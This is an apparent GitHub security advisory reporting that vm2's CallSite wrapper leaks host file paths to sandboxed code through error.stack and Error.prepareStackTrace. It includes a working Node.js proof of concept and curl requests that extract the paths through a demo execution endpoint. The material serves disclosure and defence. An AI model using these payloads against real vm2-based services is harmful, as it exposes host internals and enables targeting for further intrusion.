vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

### Summary vm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. ### Details In `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object: - `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js` - `getLineNumber()`, `getColumnNumber()` — exact source locations - `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names Two exploitation paths exist: 1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string 2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths ### PoC **Library-level PoC (Node.js script — primary):** ```javascript const { VM } = require("vm2"); const vm = new VM(); // Path A — Default error.stack const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`); console.log(result1); // Output includes: /app/node_modules/vm2/lib/vm.js:289:18 // /app/src/server.js:49:20 // Path B — prepareStackTrace extraction const result2 = vm.run(` Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(", "); }; new Error().stack `); console.log(result2); // Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ... ``` **HTTP demonstration:** ```bash # Default error.stack curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { null.x; } catch(e) { e.stack }"}' # Result includes host paths: /app/src/server.js, /app/node_modules/express/... # prepareStackTrace extraction curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}' # Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ... ``` ### Impact - **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code. - **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities. - **Scope**: All applications using vm2. No special configuration required.

Source published

7 May 2026 04:30:10 UTC

Source modified

14 May 2026 20:52:41 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Publisher rating · MODERATE